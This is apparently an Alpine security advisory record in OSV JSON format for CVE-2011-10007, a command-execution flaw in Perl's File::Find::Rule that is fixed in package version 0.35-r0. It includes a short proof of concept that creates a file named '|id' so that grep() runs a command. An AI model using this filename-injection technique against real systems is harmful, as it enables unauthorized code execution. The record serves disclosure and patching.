{"id":"ALPINE-CVE-2011-10007","details":"File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.\n\nA file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.\n\nExample:\n\n$ mkdir /tmp/poc; echo \u003e \"/tmp/poc/|id\"\n$ perl -MFile::Find::Rule \\\n    -E 'File::Find::Rule-\u003egrep(\"foo\")-\u003ein(\"/tmp/poc\")'\nuid=1000(user) gid=1000(user) groups=1000(user),100(users)","modified":"2026-11-03T06:30:05.314301113Z","published":"2025-06-05T12:15:22.807Z","upstream":["CVE-2011-10007"],"references":[{"type":"ADVISORY","url":"https://security.alpinelinux.org/vuln/CVE-2011-10007"}],"affected":[{"package":{"name":"perl-file-find-rule","ecosystem":"Alpine:v3.22","purl":"pkg:apk/alpine/perl-file-find-rule?arch=source"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.35-r0"}]}],"ecosystem_specific":{},"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/alpine/ALPINE-CVE-2011-10007.json"}},{"package":{"name":"perl-file-find-rule","ecosystem":"Alpine:v3.23","purl":"pkg:apk/alpine/perl-file-find-rule?arch=source"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.35-r0"}]}],"ecosystem_specific":{},"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/alpine/ALPINE-CVE-2011-10007.json"}},{"package":{"name":"perl-file-find-rule","ecosystem":"Alpine:v3.24","purl":"pkg:apk/alpine/perl-file-find-rule?arch=source"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.35-r0"}]}],"ecosystem_specific":{},"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/alpine/ALPINE-CVE-2011-10007.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}